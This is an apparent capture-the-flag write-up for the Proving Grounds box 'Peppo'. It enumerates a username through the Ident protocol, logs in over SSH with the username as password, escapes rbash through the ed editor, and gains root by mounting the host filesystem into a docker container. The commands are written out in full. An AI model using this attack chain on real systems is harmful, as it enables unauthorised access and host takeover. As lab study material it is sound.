# Peppo Writeup - Proving Grounds

> Intermediate Linux box where Ident protocol enumeration leaks a username that doubles as its own SSH password, landing in a restricted shell that's escaped via the ed editor, and docker group membership alone is enough to mount the host filesystem and root the box.

- **URL:** https://hackindex.io/writeups/peppo
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** restricted-shell-escape, docker-escape, privilege-escalation, default-credentials
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Peppo leaks a username through the Ident protocol and that same user turns out to use their own name as their SSH password, landing in a restricted shell. Escaping rbash through the `ed` editor reveals docker group membership, which is enough on its own to mount the host filesystem and chroot in as root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7
# 113/tcp   open  ident   FreeBSD identd
# 8080/tcp  open  http    WEBrick httpd 1.4.2 (Ruby 2.6.6)
# 10000/tcp open  http    "Hello World"
```

Port 113 runs Ident (RFC 1413), a protocol that reports which system user owns a given TCP connection.

### Ident enumeration

Query Ident for every other open port to find out who's running what.

```bash
sudo apt install ident-user-enum -y
ident-user-enum $TARGET_IP 22 113 8080 10000
# $TARGET_IP:22       root
# $TARGET_IP:113      nobody
# $TARGET_IP:8080     <unknown>
# $TARGET_IP:10000    eleanor
```

The service on port 10000 runs as `eleanor`, a valid system username.

## Exploitation

### Lazy credentials over SSH

Try the username as its own password.

```bash
ssh eleanor@$TARGET_IP
# eleanor@$TARGET_IP's password:
# -rbash: PATH is unset or has an invalid value
```

The username-as-password combo logs in, but lands in a restricted bash (`rbash`) shell.

### Escaping the restricted shell

Check what's available inside it.

```bash
echo $PATH
ls /home/eleanor/bin/
# /home/eleanor/bin
# chmod  chown  ed  ls  mv  ping  sleep  touch
```

`PATH` is locked to a single directory, `cd` is disabled, and only a handful of binaries are reachable. `ed`, a line editor, supports `!` to run shell commands, which is a classic rbash escape.

```bash
ed
# !/bin/bash
```

That spawns a real bash shell, but it still inherits the broken `PATH`. Fix it manually.

```bash
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
id
# uid=1000(eleanor) gid=1000(eleanor) groups=1000(eleanor),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),999(docker)
```

All standard commands work now, and the flag is readable.

## Privilege Escalation

### Dead ends, then the docker group

The usual checks come up empty.

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
# Sorry, user eleanor may not run sudo on peppo.
# <standard SUID binaries only>
# <default system cron entries only>
```

The `id` output from earlier already showed the answer: `999(docker)`. Docker group membership is effectively root, since a container can mount the host filesystem.

```bash
docker images
# REPOSITORY   TAG      IMAGE ID       CREATED       SIZE
# redmine      latest   0c8429c66e07   6 years ago   542MB
# postgres     latest   adf2b126dda8   6 years ago   313MB
```

Any local image works as the container base. Mount the host's `/` into the container and chroot into it.

```bash
docker run -v /:/mnt --rm -it redmine chroot /mnt bash
# root@container:/# whoami
# root
```

The container's root is the host's root once chrooted into the mounted filesystem.

Related

## References

- [GTFOBins - Docker](https://gtfobins.github.io/gtfobins/docker/) - Docker group membership to root via a bind-mounted host filesystem.
- [GTFOBins - ed](https://gtfobins.github.io/gtfobins/ed/) - Restricted shell escape using the ed line editor's shell command.
